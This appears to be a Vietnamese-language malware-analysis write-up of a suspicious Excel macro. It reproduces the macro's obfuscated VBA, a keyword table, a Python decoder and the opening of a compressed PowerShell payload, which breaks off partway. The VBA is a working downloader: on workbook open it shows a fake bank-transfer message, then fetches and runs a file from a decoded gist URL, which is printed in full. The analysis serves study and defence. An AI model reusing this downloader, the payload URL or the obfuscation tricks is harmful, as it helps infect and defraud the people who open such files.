Len(®¶®¾ª¼¿¢·¥»°¾£º¤¿º·¡¦ª¹¹¾´°¢²¶©»°´¢«°µ¸¶¥¤·«½¿¢´¹º¡º»º¸®µ»³¸µ»¦¦½¨¾¾¨¦²) ®¶®¾ª¼¿¢·¥»°¾£º¤¿º·¡¦ª¹¹¾´°¢²¶©»°´¢«°µ¸¶¥¤·«½¿¢´¹º¡º»º¸®µ»³¸µ»¦¦½¨¾¾¨¦² = ³§½¢º¹¸°¾»´¦§¢·¬»´¦³²¦¦·°¶¥°¯¾µ·§½µº¦¶»¹²¥¦¥·²¢¥³°§°¹¾¾£½©¼°¥«ª§¡¹¶° Next For ¥½µ©¡»¡·¤¼¶µ¢¾·½¼¾®¦»»¼¬§ª¦·°¹·³¹¸¤µ³³¡¢£§´¤´¹¨´¡¾¦¬°¹¦¼¥°¡³» = 2 To Len(£©©³¶º©«®®·º¿¿°µ·¡º·«½ª¾¢¢µ¥¹¾²ª¤°¥©½®¥³µ¯¶¹¹´·¹³½²µ£²·¬·¿³¤¹´¨¢º§¯²¦) £©©³¶º©«®®·º¿¿°µ·¡º·«½ª¾¢¢µ¥¹¾²ª¤°¥©½®¥³µ¯¶¹¹´·¹³½²µ£²·¬·¿³¤¹´¨¢º§¯²¦ = 2 Next For »´¦¾¨¶¶½»¿º©³¬µ³°¶¢µ¼²¢°·¸¤¾¨»£¼¡»¥¹¼¤·©©³¹§¾¸¢·¤·¼ºµ£· = 3 To Len(»¶ª¨½©ª¾»¼§µ¨®º¾¢°¦»»¬¥§»¡¬·»¥¾¥¤½°·¾¢²³¡¹¾³¢µ¾·¹«¬¸¼´³£¥°µ»«½°®¸) »¶ª¨½©ª¾»¼§µ¨®º¾¢°¦»»¬¥§»¡¬·»¥¾¥¤½°·¾¢²³¡¹¾³¢µ¾·¹«¬¸¼´³£¥°µ»«½°®¸ = »´¦¾¨¶¶½»¿º©³¬µ³°¶¢µ¼²¢°·¸¤¾¨»£¼¡»¥¹¼¤·©©³¹§¾¸¢·¤·¼ºµ£· Next For ¹®µ´¾¥»³ºª´¡¹®¶¶®¦·³«¢¢¢¹µ¹½¸¦§¥§·°°¡µ¼¤¿©¦¸£¥¥¹¦¶¨¹«©§µ¡´²·°º¢·¡¸²µ¤°²³¯£«¶£ = 4 To Len(´³®½£¼µ·©¡¤¨®º²§¿»²¹£°»¦¾¹²²³¡¨«¯°»³¸¢»¹²£»´£¬¦º¸¸³¾½¨¡º¥¬¥«¹·§¶¶°¦«¹¥¤·) ´³®½£¼µ·©¡¤¨®º²§¿»²¹£°»¦¾¹²²³¡¨«¯°»³¸¢»¹²£»´£¬¦º¸¸³¾½¨¡º¥¬¥«¹·§¶¶°¦«¹¥¤· = 2 Next End Function Sub Workbook_Open() Dim ¹·³«»½¦¨¬¢¸°¤¼¾£¬»¢¾´¢¢µ¾¡¥»»«·¸»µ´¾¼¶»²¥§©¥¥¾¿¼¿²µ°¤²£¹´¶§ As Object Dim ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ As String Dim ¤¸¿º«¡¬¡°µ²¢¹¾¿¡¼²¥¾®¨¶µ»¾«º½¼»ª²¢¾ª¤»¹¬»¾»¸¤µµ°¡§¬¿§¢¥§¥£¶¢¥©¨ As String Dim §»¶¬¡¦¹³¾¸¸³££¹´´¸³¥¦´¢¹¥··£°¿²»º¶°°¥©²¢°¾ª«°©«®·½½··´®¹°µµ©½½§¥·°»¢¼¼´¡¦¡«¹ As String Dim ¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ As Integer ¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ = Chr(50) + Chr(48) + Chr(48) Set ¹·³«»½¦¨¬¢¸°¤¼¾£¬»¢¾´¢¢µ¾¡¥»»«·¸»µ´¾¼¶»²¥§©¥¥¾¿¼¿²µ°¤²£¹´¶§ = CreateObject("WScript.Shell") ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ = ¹·³«»½¦¨¬¢¸°¤¼¾£¬»¢¾´¢¢µ¾¡¥»»«·¸»µ´¾¼¶»²¥§©¥¥¾¿¼¿²µ°¤²£¹´¶§.SpecialFolders("AppData") Dim ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼ Dim ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ Dim ¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬¯¨³³¿¯©¶ Dim ³§½¢º¹¸°¾»´¦§¢·¬»´¦³²¦¦·°¶¥°¯¾µ·§½µº¦¶»¹²¥¦¥·²¢¥³°§°¹¾¾£½©¼°¥«ª§¡¹¶° As Long Dim ¥½µ©¡»¡·¤¼¶µ¢¾·½¼¾®¦»»¼¬§ª¦·°¹·³¹¸¤µ³³¡¢£§´¤´¹¨´¡¾¦¬°¹¦¼¥°¡³» As String Dim ¿¨¡©§¾¡º·¼½µ¡®¾¥¼½«¹´¥¥¶²°»¤¡·»°¬£°¿¥§¬¸©º¢¾¥·´£¹¥¡½¬¸ª´º°»§¬¥¡£¢¦»·¶ As Long Dim »¶ª¨½©ª¾»¼§µ¨®º¾¢°¦»»¬¥§»¡¬·»¥¾¥¤½°·¾¢²³¡¹¾³¢µ¾·¹«¬¸¼´³£¥°µ»«½°®¸ As String Dim »´¦¾¨¶¶½»¿º©³¬µ³°¶¢µ¼²¢°·¸¤¾¨»£¼¡»¥¹¼¤·©©³¹§¾¸¢·¤·¼ºµ£· As Long Dim ¹®µ´¾¥»³ºª´¡¹®¶¶®¦·³«¢¢¢¹µ¹½¸¦§¥§·°°¡µ¼¤¿©¦¸£¥¥¹¦¶¨¹«©§µ¡´²·°º¢·¡¸²µ¤°²³¯£«¶£ As String Dim °»»¦¡½º®¤¼º¬³¤³º¸¶®¨½®©µ«¢´¾´··¦«º¬º°¥²ª¹«¿º¼£º·¦¢¬°¢¾§µ²° As String Dim £©©³¶º©«®®·º¿¿°µ·¡º·«½ª¾¢¢µ¥¹¾²ª¤°¥©½®¥³µ¯¶¹¹´·¹³½²µ£²·¬·¿³¤¹´¨¢º§¯²¦ As Long Dim ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬ Dim ²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥ Dim ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ As Integer Dim ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸² Dim ®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°© ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ = 1 Range("A1").Value = ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("4BEiàiuP3x6¿QEi³") Dim ½¹¢²°½¢¼¬µ¥¨³¹²¡£½¬¿´¥ºµ¢ª¥°¸¢¶«µ§¥°°¤µ¸µ¾¦°¹¾¥¹»»·¡¾²°£¬¼·´©·¡·©¾³§¦¤·¶¨¹º°¹©§©££»¥¡¢¾¤ As String ´¸®¢»¬«¢®¼¿¾«²¡»¦°´»·°º¥ª¡½½¤§»´ª§¥¸»®«¶¿¸¶¢³µ¶¾¿¼£²¡¾«¹¶¹§ºµº¦¶¹¦¨¸®¸§¹µ³¢£¯©¦¾·º£¼º²»¨®²¦¤¦·½»¶³ = "$x¿PÜ_jEPkEEiPÜ_6IE3P_i3PÛx¿²PàQBx²³_i³P3x6¿QEi³bPÜ_jEPkEEiPb³x#Eir" & vbCrLf & "ÒxP²E³²àEjEP³ÜEbEP3_³_(PÛx¿P_²EP²E7¿à²E3P³xP³²_ib0E²P@mmIP³xP³ÜEP0x##xÄàiuPk_iIP_66x¿i³Pi¿QkE²:P" & vbCrLf & "@m@m@mo@@§mmm" & vbCrLf & "g66x¿i³PÜx#3E²:PLu¿ÛEiPÒÜ_iÜP!xiu" & vbCrLf & "t_iI:PTtPt_iI" ½¹¢²°½¢¼¬µ¥¨³¹²¡£½¬¿´¥ºµ¢ª¥°¸¢¶«µ§¥°°¤µ¸µ¾¦°¹¾¥¹»»·¡¾²°£¬¼·´©·¡·©¾³§¦¤·¶¨¹º°¹©§©££»¥¡¢¾¤ = ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨(´¸®¢»¬«¢®¼¿¾«²¡»¦°´»·°º¥ª¡½½¤§»´ª§¥¸»®«¶¿¸¶¢³µ¶¾¿¼£²¡¾«¹¶¹§ºµº¦¶¹¦¨¸®¸§¹µ³¢£¯©¦¾·º£¼º²»¨®²¦¤¦·½»¶³) MsgBox ½¹¢²°½¢¼¬µ¥¨³¹²¡£½¬¿´¥ºµ¢ª¥°¸¢¶«µ§¥°°¤µ¸µ¾¦°¹¾¥¹»»·¡¾²°£¬¼·´©·¡·©¾³§¦¤·¶¨¹º°¹©§©££»¥¡¢¾¤, vbInformation, ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("pEP3EEB#ÛP²Eu²E³P³xPài0x²QPÛx¿") Dim ¢¶¸¡³·´®¨½¥¡¼»´§²¾½º¢¿°°¹¹££©´¢©¹ª¬»¡¡°º·«¶²¦¾²¦¹º¤¹¼»«»¬º¤¸½¥¹¬²§¶°¾·»§©¥ª As Date Dim ¹»«´¾¹¡º¸¿°·¶¥µ¢µ¾²¦¥§¶¨´²½°·£®·»ª¡¬¬»½µ³©·»¾¤·¹¤µ®º¤¸§¶·¢·¹º££§¬¸ As Date ¢¶¸¡³·´®¨½¥¡¼»´§²¾½º¢¿°°¹¹££©´¢©¹ª¬»¡¡°º·«¶²¦¾²¦¹º¤¹¼»«»¬º¤¸½¥¹¬²§¶°¾·»§©¥ª = Date ¹»«´¾¹¡º¸¿°·¶¥µ¢µ¾²¦¥§¶¨´²½°·£®·»ª¡¬¬»½µ³©·»¾¤·¹¤µ®º¤¸§¶·¢·¹º££§¬¸ = DateSerial(2023, 6, 6) If ¢¶¸¡³·´®¨½¥¡¼»´§²¾½º¢¿°°¹¹££©´¢©¹ª¬»¡¡°º·«¶²¦¾²¦¹º¤¹¼»«»¬º¤¸½¥¹¬²§¶°¾·»§©¥ª < ¹»«´¾¹¡º¸¿°·¶¥µ¢µ¾²¦¥§¶¨´²½°·£®·»ª¡¬¬»½µ³©·»¾¤·¹¤µ®º¤¸§¶·¢·¹º££§¬¸ Then Set ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸² = CreateObject("microsoft.xmlhttp") Set ²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥ = CreateObject("Shell.Application") ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬ = ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ + ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("\k¿i6Ü_~Bb@") ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Open "get", ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"), False ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².send ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ = ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².responseBody If ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Status = 200 Then Set ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼ = CreateObject("adodb.stream") ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Open ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Type = ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Write ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.SaveToFile ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬, ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ + ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Close End If ²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥.Open (³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬) Else MsgBox ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("åxi'³P³²ÛP³xP²¿iPQEPk²x") End If End Sub ``` Phát hiện một marco lạ như vầy. Những hàm đầu tiên thì xem giải thích ở đây: ``` +----------+--------------------+---------------------------------------------+ |Type |Keyword |Description | +----------+--------------------+---------------------------------------------+ |AutoExec |AutoOpen |Runs when the Word document is opened | |AutoExec |DocumentOpen |Runs when the Word document is opened | |AutoExec |Document_Open |Runs when the Word or Publisher document is | | | |opened | |AutoExec |Auto_Open |Runs when the Excel Workbook is opened | |AutoExec |Workbook_Open |Runs when the Excel Workbook is opened | |Suspicious|Open |May open a file | |Suspicious|Write |May write to a file (if combined with Open) | |Suspicious|adodb.stream |May create a text file | |Suspicious|SaveToFile |May create a text file | |Suspicious|Shell |May run an executable file or a system | | | |command | |Suspicious|WScript.Shell |May run an executable file or a system | | | |command | |Suspicious|CreateObject |May create an OLE object | |Suspicious|Shell.Application |May run an application (if combined with | | | |CreateObject) | |Suspicious|microsoft.xmlhttp |May download files from the Internet | |Suspicious|Chr |May attempt to obfuscate specific strings | | | |(use option --deobf to deobfuscate) | |Suspicious|Hex Strings |Hex-encoded strings were detected, may be | | | |used to obfuscate strings (option --decode to| | | |see all) | +----------+--------------------+---------------------------------------------+ ``` Có một function, và sub phía sau nó có dùng tới function này, mình tiến hành gỡ rối hàm này. ```python def func(param): a = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥" var1 = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ" var4 = "" for char in param: var2 = a.find(char) if var2 > -1: var3 = var1[var2] var4 += var3 else: var4 += char return var4 ``` ```python argument0= "4BEiàiuP3x6¿QEi³" argument1 = "$x¿PÜ_jEPkEEiPÜ_6IE3P_i3PÛx¿²PàQBx²³_i³P3x6¿QEi³bPÜ_jEPkEEiPb³x#Eir\" & vbCrLf & \"ÒxP²E³²àEjEP³ÜEbEP3_³_(PÛx¿P_²EP²E7¿à²E3P³xP³²_ib0E²P@mmIP³xP³ÜEP0x##xÄàiuPk_iIP_66x¿i³Pi¿QkE²:P\" & vbCrLf & \"@m@m@mo@@§mmm\" & vbCrLf & \"g66x¿i³PÜx#3E²:PLu¿ÛEiPÒÜ_iÜP!xiu\" & vbCrLf & \"t_iI:PTtPt_iI" argument2= "pEP3EEB#ÛP²Eu²E³P³xPài0x²QPÛx¿" argument3= "\k¿i6Ü_~Bb@" argument4= "ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@" argument5= "åxi'³P³²ÛP³xP²¿iPQEPk²x" res=[] res.append(func(argument0)) res.append(func(argument1)) res.append(func(argument2)) res.append(func(argument3)) res.append(func(argument4)) res.append(func(argument5)) for i in res: print(i) ``` Ghép cả hai cái lại để run thì: ![link:[https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1](https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1)](img/Untitled%2020.png) link: [https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1](https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1) ```powershell . ((VaRIablE '*MdR*').NAmE[3,11,2]-JOIn'') (nEW-OBJeCT IO.cOmPrEsSion.DeflAteSTREam( [sYStEm.IO.MeMOrYSTreAM][CoNVeRt]::frOMBase64sTriNG('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